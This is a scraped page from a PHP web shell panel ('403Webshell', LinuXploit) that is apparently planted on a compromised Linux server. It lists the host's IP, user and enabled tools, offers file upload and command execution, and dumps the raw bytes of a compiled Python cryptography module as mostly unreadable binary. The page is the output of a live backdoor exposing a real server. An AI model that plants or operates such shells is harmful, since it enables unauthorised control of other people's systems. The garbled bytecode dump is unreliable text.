403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cryptography/hazmat/backends/openssl/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cryptography/hazmat/backends/openssl/__pycache__/cmac.cpython-311.pyc
�

p�g���z�ddlZddlmZmZmZddlmZddlmZej	rddlm
Z
ddlmZGd�d��Z
dS)	�N)�InvalidSignature�UnsupportedAlgorithm�_Reasons)�
constant_time)�CBC)�ciphers)�Backendc�X�eZdZ	d					dd�Zdeddfd	�Zdefd
�Zdd�Zdeddfd
�ZdS)�_CMACContextN�backendr	�	algorithm�ciphers.BlockCipherAlgorithm�returnc�H�|�|��stdtj���||_|j|_||_|jdz|_	|��?|jj
}|t|��tf}||j|t��}|jj
���}|j�||jjjk��|jj�||jj
j��}|jj�|j��}|jj
�||t-|j��||jjj��}|j�|dk��||_dS)Nz#This backend does not support CMAC.��)�cmac_algorithm_supportedrr�UNSUPPORTED_CIPHER�_backend�key�_key�
_algorithm�
block_size�_output_length�_cipher_registry�typer�_lib�CMAC_CTX_new�openssl_assert�_ffi�NULL�gc�
CMAC_CTX_free�from_buffer�	CMAC_Init�len�_ctx)	�selfrr
�ctx�registry�adapter�
evp_cipher�key_ptr�ress	         �K/usr/lib/python3/dist-packages/cryptography/hazmat/backends/openssl/cmac.py�__init__z_CMACContext.__init__sl���/�/�	�:�:�	�&�5��+���
�
 ��
��M��	�#���'�2�a�7����;��}�5�H��t�I����3�4�G� ����	�3�?�?�J��-�$�1�1�3�3�C��M�(�(���
�0B�0G�)G�H�H�H��-�$�'�'��T�]�-?�-M�N�N�C��m�(�4�4�T�Y�?�?�G��-�$�.�.����D�I�����
�"�'���C�
�M�(�(����2�2�2���	�	�	��datac��|jj�|j|t	|����}|j�|dk��dS)Nr)rr�CMAC_Updater'r&r)r(r2r.s   r/�updatez_CMACContext.update=sF���m� �,�,�T�Y��c�$�i�i�H�H���
�$�$�S�A�X�.�.�.�.�.r1c�z�|jj�d|j��}|jj�d|j��}|jj�|j||��}|j�|dk��d|_|jj�|��dd�S)Nzunsigned char[]zsize_t *r)	rr �newrr�
CMAC_Finalr'r�buffer)r(�buf�lengthr.s    r/�finalizez_CMACContext.finalizeAs����m� �$�$�%6��8K�L�L����#�'�'�
�D�4G�H�H���m� �+�+�D�I�s�F�C�C���
�$�$�S�A�X�.�.�.���	��}�!�(�(��-�-�a�a�a�0�0r1c�Z�|jj���}|jj�||jjj��}|jj�||j��}|j�|dk��t|j|j
|���S)Nr)r))rrrr r"r#�
CMAC_CTX_copyr'rrr)r(�
copied_ctxr.s   r/�copyz_CMACContext.copyKs����]�'�4�4�6�6�
��]�'�*�*���
�*�8�
�
�
��m� �.�.�z�4�9�E�E���
�$�$�S�A�X�.�.�.��D�M�4�?�
�K�K�K�Kr1�	signaturec�v�|���}tj||��std���dS)NzSignature did not match digest.)r<r�bytes_eqr)r(rA�digests   r/�verifyz_CMACContext.verifyTs@���������%�f�i�8�8�	F�"�#D�E�E�E�	F�	Fr1)N)rr	r
rrN)rr)	�__name__�
__module__�__qualname__r0�bytesr5r<r@rE�r1r/rrs�������

�	&��&�2�&�

�&�&�&�&�P/�5�/�T�/�/�/�/�1�%�1�1�1�1�L�L�L�L�F��F�$�F�F�F�F�F�Fr1r)�typing�cryptography.exceptionsrrr�cryptography.hazmat.primitivesr�,cryptography.hazmat.primitives.ciphers.modesr�
TYPE_CHECKINGr�,cryptography.hazmat.backends.openssl.backendr	rrJr1r/�<module>rQs���
�
�
�
�����������
9�8�8�8�8�8�<�<�<�<�<�<�	��E�6�6�6�6�6�6�D�D�D�D�D�D�CF�CF�CF�CF�CF�CF�CF�CF�CF�CFr1

Youez - 2016 - github.com/yon3zu
LinuXploit